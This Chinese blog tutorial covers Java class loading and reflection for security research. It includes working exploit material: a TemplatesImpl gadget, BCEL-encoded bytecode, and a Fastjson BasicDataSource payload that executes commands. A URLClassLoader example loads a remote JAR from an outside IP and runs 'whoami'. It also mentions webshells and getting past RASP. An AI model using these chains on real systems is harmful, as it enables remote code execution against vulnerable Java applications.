HacKerQWQ的博客空间

Java类加载机制和反射机制

Word count: 4.8kReading time: 22 min
2021/07/26 Share

类加载机制(ClassLoader)

ClassLoader简介

Java依赖于JVM(Java Virtual Machine)来实现跨平台开发语言。Java程序编译为class字节码文件,当Java类初始化时会通过java.lang.ClassLoader加载class字节码文件,ClassLoader调用JVM的native方法声明一个类的实例。

ClassLoader是所有类加载器的父类

101425458_JvmSpec7_518542150619

JVM顶层ClassLoader:

  1. Bootstrap ClassLoader(引导加载器)
  2. Extension ClassLoader(拓展类加载器)
  3. App ClassLoader(系统类加载器)

默认使用App ClassLoader加载类

  • Tips:当使用getClassLoader返回的ClassLoader为Bootstrap ClassLoader时,显示为null(Bootstrap ClassLoader实现于JVM层,使用c++编写)

ClassLoader的方法:

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

类的加载方式

类的加载分为显式隐式

  • 显式为类名.方法名()new 类名()

  • 隐式

    1
    2
    3
    Class.forName("java.lang.Runtime");

    foo1.getClass().getClassLoader().loadClass("java.lang.Runtime")
  • Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

ClassLoader类加载流程

  1. ClassLoader调用loadClass()加载类,先调用findLoadedClass()查询是否加载了该类,如果已加载则返回类对象,没有则进行下一步
  2. 如果传入了父类加载器,比如通过this.getClass().getClassLoader().loadClass(...)这种方式进行类的加载的话,则使用getClassLoader()返回的父类加载器进行加载,否则使用Bootstrap ClassLoader
  3. ClassCloader调用findClass()试图找到该类的字节码(如果没有重写findClass()方法则返回异常),并使用defineClass()方法进入JVM注册类并返回类对象(Class)
  • Tips:如果loadClass()时使用了resolve参数,还需要调用resolveClass方法链接类

类加载流程

自定义ClassLoader加载类(defineClass)

理论上只要重写了继承了ClassLoader类的类的findClass方法就可以实现加载目录class文件,可用于加载一些不在ClassPath的类或者后面的URLClassLoader类加载远程资源

TestHelloWord.java文件

1
2
3
4
5
6
7
8
package com.test.sample5;

public class TestHelloWorld {
public void SayHello(){
System.out.println("hello");
}
}

TestClassLoader.java文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.test.sample5;

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Method;

public class TestClassLoader extends ClassLoader{
/*类名*/
private static String ClassName = "com.test.sample5.TestHelloWorld";
/*TestHelloWorld类的字节码,大于等于176的要减256*/
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 55, 0, 28, 10, 0, 6, 0, 14, 9, 0, 15, 0, 16, 8, 0, 17, 10, 0, 18, 0, 19, 7, 0, 20,
7, 0, 21, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76,
105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 8, 83, 97, 121, 72, 101, 108, 108, 111,
1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111,
87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 7, 0, 8, 7, 0, 22, 12, 0, 23, 0, 24, 1, 0, 5, 104, 101,
108, 108, 111, 7, 0, 25, 12, 0, 26, 0, 27, 1, 0, 31, 99, 111, 109, 47, 116, 101, 115, 116, 47, 115, 97, 109,
112, 108, 101, 53, 47, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110,
103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111,
47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80,
114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76,
106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 5, 0, 6, 0, 0,
0, 0, 0, 2, 0, 1, 0, 7, 0, 8, 0, 1, 0, 9, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1,
0, 10, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 11, 0, 8, 0, 1, 0, 9, 0, 0, 0, 37, 0, 2, 0, 1, 0, 0, 0, 9, -78,
0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 1, 0, 10, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 1, 0, 12, 0, 0,
0, 2, 0, 13
};

/*重写findClass*/
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
/*只加载TestHelloWorld*/
if (name.equals(ClassName)){
return defineClass(ClassName,testClassBytes,0, testClassBytes.length);
}
return super.findClass(name);
}

public static void main(String[] args) {
/*使用继承了ClassLoader的TestClassLoader*/
TestClassLoader loader = new TestClassLoader();
try{
/*加载类*/
Class testClass = loader.loadClass(ClassName);
/*反射类实例对象*/
Object testInstance = testClass.newInstance();
/*反射类实例方法*/
Method method = testInstance.getClass().getMethod("SayHello");
/*通过反射调用TestHelloWorld的SayHello方法*/
String str = (String) method.invoke(testInstance);
}catch (Exception e){
e.printStackTrace();
}
}
}

字节码可用以下代码生成

1
Files.readAllBytes(Paths.get("evil.class"))

或者javassist

1
2
3
ClassPool pool = ClassPool.getDefault();
CtClass clazz =
pool.get(com.govuln.shiroattack.Evil.class.getName());

image-20210726182712743

注意要将TestHelloWorld.java文件移到ClassPath之外的路径,这样才会使用TestClassLoader文件里面的findclass()方法进行类加载。

也可以通过反射的方式直接调用ClassLoader#defineClass方法,需要将defineClass设置可访问权限

字节码的base64可以使用命令生成cat HelloClass.class|base64|tr -d “\n”

1
2
3
4
5
6
7
8
9
10
11
12
package com.govuln;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}

image-20221113172740034

  • 注意:编译java文件的java版本和加载字节码的java文件的java版本要一样

  • defineClass不会触发构造方法,需要使用newInstance或者其他能够调用构造函数的方式触发

  • 用途:在webshell中实现恶意对象的构造,或者本地命令执行漏洞调用自定义的native方法绕过RASP(Runtime Application Self-Protection)检测

利用TemplatesImpl加载类

TemplatesImpl类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在fastjson的payload中很常见利用的一个类,由于存在一条gadget可以调用defineClass方法,因此可以加载任意类,造成代码执行等。

调用链

1
TemplatesImpl#getOutputProperties->TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TemplatesImpl.TransletClassLoader#defineClass

在TemplatesImpl的内部类TransletClassLoader中存在一个没有修饰符(默认为default,可以被同一个包的方法调用)的defineClass方法,传入字节数组byte[]作为变量,加载字节码。

image-20221113191403765

向上回溯,在defineTransletClasses方法中调用了defineClass,在此之前,_tfactory需要指定为TransformerFactoryImpl对象,_bytecodes就是需要加载的字节码

image-20221113193600583

较为关键的是getTransletInstance方法,先通过defineTransletClasses加载字节码,然后使用newInstance新建对象,到这里已经符合所有条件,可以通过自定义类,转换成字节码进行加载

image-20221113193935250

继续向上查找方法的调用点,追溯到getOutputProperties或者newTransformer进行调用

image-20221113194401585

另外需要注意的是,加载的类必须是AbstractTranslet的子类,总结起来条件如下

  • _name不为null
  • _bytecodes为字节码序列
  • _tfactory为TemplateImpl对象
  • 类继承了AbstractTranslet

构造需要加载的TemplatePOC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TemplatePOC extends AbstractTranslet{

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
public TemplatePOC() throws Exception{
super();
Runtime.getRuntime().exec("calc");
}
}

显示调用TemplatesImpl类的newTransformergetOutputProperties方法,这里使用yaoserial的setFieldValue方法设置私有变量的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;

import java.util.Base64;



public class TemplateClass {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
}

运行poc成功加载类,执行了构造函数中的内容

image-20221113204934722

利用BCEL加载类

更详细的在p牛的博客BCEL ClassLoader去哪了

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。其中ClassLoader包含在在Java 8u251及以前的的原生JDK中

  • Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;
  • Utility 用于将 原生的字节码转换成BCEL格式的字节码
  • BCEL ClassLoader用于加载这串特殊的“字节码”,并可以执行其中的代码

创建需要加载的evil类

1
2
3
4
5
6
public class evil {
public evil(){
System.out.println("this is evil class");
}
}

进行编码和解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCELTest {
public static void main(String[] args) throws Exception{
// encode();
decode();
}


protected static void encode() throws Exception{
//转换字节码
JavaClass cls = Repository.lookupClass(evil.class);
//BCEL编码
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
}

protected static void decode() throws Exception{
new ClassLoader().loadClass("$$BCEL$$"+"$l$8b$I$A$A$A$A$A$A$AmP$cbN$c30$Q$i7$a1iB$fa$m$a5$bcA$e5$d6r$m$XnEp$40$e2$U$BRP$eeN$b0$8a$ab$3cP$e2T$e2$b3$e0$A$S$H$3e$80$8fB$ac$D$H$90$b0$ad$dd$9d$d9$9d$d1$ca$l$9fo$ef$ANp$e0$a0$8d$81$8d5x$j$M$j$accda$c3$c2$sC$fbT$e6R$9d1$Y$93i$c4$60$5e$Uw$82$a1$l$c8$5c$5c$d5Y$y$ca$5b$k$a7$c4xA$91$f04$e2$a5$d4$f8$874$d5$bd$ac$c8$p$QK$99$ce$Y$9c$b0$a8$cbD$5cJ$dd$b45y$bc$e0K$ee$c2B$c7$c2$96$8bm$ec$90$95V$8d$e9$e9$81q$92$f2$aa$b2$b0$ebb$P$fbd$a9I$86$81$d6$f9$v$cf$e7$feu$bc$Q$89$faC$85$8f$95$S$Z$ed$5c$d4$d4$Y$FMG$W$feM$vs$V$aaR$f0$8c$b6$Z$feC3X$P$g$a59$e9$s$c1$_KE$f4$7c6$8dp$88$V$fa$z$7d$Y$5d$da$9c$a2M$e8$i$z$aa$80$ee$d1$x$d83Z$9e$f1$C$f3$89$88$W$i$8a$3d$YMmRv$v$ae$Sr$bf$F$94$bb$8d$5d$af$99$e8$7f$B$7b$b7$3d$bf$98$B$A$A").newInstance();
}
}

成功执行代码

image-20221113220255700

Fastjson BCEL加载类

以下内容摘自p牛的博客:

当年Fastjson反序列化漏洞出现后,网络上广泛流传的利用链有下面三个:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,比较鸡肋;第二个利用链用到的是JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用;第三个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。

BasicDataSource的利用原理可以参考这篇文章https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html,本文也仅做一个简单的描述。

BasicDataSourcetoString()方法会遍历这个类的所有getter并执行,于是通过getConnection()->createDataSource()->createConnectionFactory()的调用关系,调用到了createConnectionFactory方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected ConnectionFactory createConnectionFactory() throws SQLException {
// Load the JDBC driver class
Driver driverToUse = this.driver;

if (driverToUse == null) {
Class<?> driverFromCCL = null;
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(
driverClassName, true, driverClassLoader);
}
...

createConnectionFactory方法中,调用了Class.forName(driverClassName, true, driverClassLoader)。有读过我的《Java安全漫谈》第一篇文章的同学应该对Class.forName还有印象,第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

因为driverClassLoaderdriverClassName都可以通过fastjson控制,所以只要找到一个可以利用的恶意类即可。

BCEL ClassLoader闪亮登场。第二章中我们已经演示过com.sun.org.apache.bcel.internal.util.ClassLoader是如何加载字节码并执行命令的,这里只是将前文的loadClass变成了Class.forName

综上,我们可以构造一个Fastjson的POC:

1
2
3
4
5
6
7
8
9
10
11
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}

触发反序列化命令执行:

image-20201026110614113.png

URLClassLoader

通过URLClassLoader加载远程jar实现远程的类方法调用

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这 些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类,通常为http协议

加载Jar包

CMD.jar文件包含class文件对应编译前的代码如下

1
2
3
4
5
6
7
8
import java.io.IOException;

public class CMD {
public static Process exec(String cmd) throws IOException{
return Runtime.getRuntime().exec(cmd);
}
}

将class打包成jar文件的教程:https://blog.csdn.net/weixin_43315211/article/details/89708286

TestURLClassLoader.java文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.test.sample5;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader extends ClassLoader{
public static void main(String[] args) {
try{
URL url = new URL("http://139.224.247.105/CMD.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
String cmd = "whoami";
Class<?> cmdClass = urlClassLoader.loadClass("CMD");
Process process = (Process) cmdClass.getMethod("exec",String.class).invoke(null,cmd);
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

// 输出命令执行结果
System.out.println(baos.toString());
}catch (Exception e){
e.printStackTrace();
}
}
}

image-20210726214544299

也可以不打包为jar包,直接使用urlclassloader加载class文件

加载Class文件

  • 将Hello.class文件放置在vps上
1
2
3
4
5
6
7
8
9
10
11
12
13
package com.govuln;
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader
{
public static void main( String[] args ) throws Exception
{
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
c.newInstance();
}
}

反射

Class类的获取

在java中,万事万物皆对象,类也是对象,类为Class的对象,官方叫法为Class type,翻译过来是类类型。

结合例子理解

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.test.reflect;

public class Reflect {
public static void main(String[] args) throws Exception{
Foo foo1 = new Foo();
System.out.println(Foo.class);
System.out.println(foo1.getClass());
System.out.println(Class.forName("com.test.reflect.Foo"));
}
}
class Foo{

}

输出结果如下

image-20210727184819500

获取Class类类型需要通过隐式的方式获取,因为Class的构造方法为private

隐式为如下几种

1
2
3
4
5
6
7
#通过类对象的class属性获取
Runtime.class
#通过类的实例对象获取
Foo foo1 = new Foo();
System.out.println(foo1.getClass());
#通过加载类的方式获取类的class type
Class.forName("java.lang.Runtime");

Java动态加载类

  • java程序编译为class文件时加载类,称为静态加载,此时java会加载程序中出现的所有类。
  • 在程序运行时临时加载一个类比如通过用户输入,args接收参数需要加载的类,称为动态加载

实现某些功能的类一般使用动态加载

反射获得信息

流程:获得类的Class type=>获得类的方法、变量、构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#获得类的class type
foo.getClass()//此处foo为类的实例对象
Foo.class//此处Foo为类名
Class.forName("com.test.foo")
#获得类的方法
foo.getClass().getMethods()
foo.getClass().getDeclaredMethods()
#获得类的方法的返回类型
foo.getClass().getReturnType()
#获得类的方法的传入变量的类型
method.getParameterTypes().getName()
#获得类的变量
getDeclaredFields()
getFields()
#获得类的变量的类型
field.getType()//返回type的类类型即*.class
field.getType().getSimpleName()//返回类的实例对象
#获得变量的名字
field.getName()
#获得类的构造函数
getConstructors()
getDeclaredConstructors()

* Field[] getFields() :获取所有public修饰的成员变量
* Field getField(String name) 获取指定名称的 public修饰的成员变量
* Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符
* Field getDeclaredField(String name)
Field:成员变量
* 操作:
1. 设置值
* void set(Object obj, Object value)
2. 获取值
* get(Object obj)
3. 忽略访问权限修饰符的安全检查
* setAccessible(true):暴力反射

getField和getDeclaredField区别:
getField
获取一个类的 ==public成员变量,包括基类== 。
getDeclaredField
获取一个类的 ==所有成员变量,不包括基类== 。
  • getMethods获得包括类的父类继承的方法

  • getDeclaredMethods仅获得类自己声明的方法

  • getFields获得包括类的父类继承的变量

  • getDeclaredFields获得类自己的变量

反射执行方法

流程:获得类的Class type=>获得类的构造函数=>通过构造函数获得实例、获得方法=>通过方法、实例反射调用方法

方法正常调用:

1
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));

方法通过反射调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class ReflectRuntime{
public static void main(String[] args) throws Exception{
//获得Runtime类的class type
Class<?> RuntimeClass = Class.forName("java.lang.Runtime");
//反射获得constructor
Constructor<?> constructor = RuntimeClass.getDeclaredConstructor();
//设置constructor可以访问
constructor.setAccessible(true);
//通过constructor生成Runtime实例
Object RuntimeInstance = constructor.newInstance();
//反射获得exec方法
Method method = RuntimeClass.getMethod("exec",String.class);
//反射调用exec方法
Process process = (Process) method.invoke(RuntimeInstance,"whoami");
//获得命令执行结果并输出
InputStream in = process.getInputStream();
byte[] b = new byte[1024];
int a = -1;
ByteArrayOutputStream baos = new ByteArrayOutputStream();

while((a=in.read(b))!=-1){
baos.write(b,0,a);
}
System.out.println(baos.toString());

}
}

如果不需要创建对象,可以简化为以下写法

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.Method;

public class RuntimeTest {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime",null);
Object runtime = method.invoke(clazz,null);
Method mexec = clazz.getMethod("exec",String.class);
mexec.invoke(runtime,"calc.exe");
}
}

  • setAccessible(true)是为了获得Runtime构造方法的访问权限,因为Runtime的构造方法是private修饰符
  • getMethod()第一个参数为方法名,第二个参数为方法参数的Class type,例如这里是String.class,如果有多个变量可以采用new Object[]{String.class,String.class}获得getMethod("exec",String.class,String.class)来传入
  • invoke()的第一个变量为实例(如果调用的是静态方法也可以为null),后面的变量为方法的参数,如果有多个参数可以new Object[]{"1","2"}的方式传入

ProcessBuilder的反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import jdk.internal.org.objectweb.asm.commons.Method;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.Arrays;
import java.util.List;


public class main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))); //由于没有无参数构造方法,所以我们需要用List.class来填充
System.out.println(List.class);
}
}

反射总结

  • 反射可以获得类的实例对象、方法、构造函数、变量

  • Java的大部分框架都是采用了反射机制来实现的(如:Spring MVCORM框架等),Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。

CATALOG
  1. 1. 类加载机制(ClassLoader)
    1. 1.1. ClassLoader简介
    2. 1.2. 类的加载方式
    3. 1.3. ClassLoader类加载流程
    4. 1.4. 自定义ClassLoader加载类(defineClass)
      1. 1.4.1. 利用TemplatesImpl加载类
      2. 1.4.2. 利用BCEL加载类
      3. 1.4.3. Fastjson BCEL加载类
    5. 1.5. URLClassLoader
      1. 1.5.1. 加载Jar包
      2. 1.5.2. 加载Class文件
  2. 2. 反射
    1. 2.1. Class类的获取
    2. 2.2. Java动态加载类
    3. 2.3. 反射获得信息
    4. 2.4. 反射执行方法
    5. 2.5. 反射总结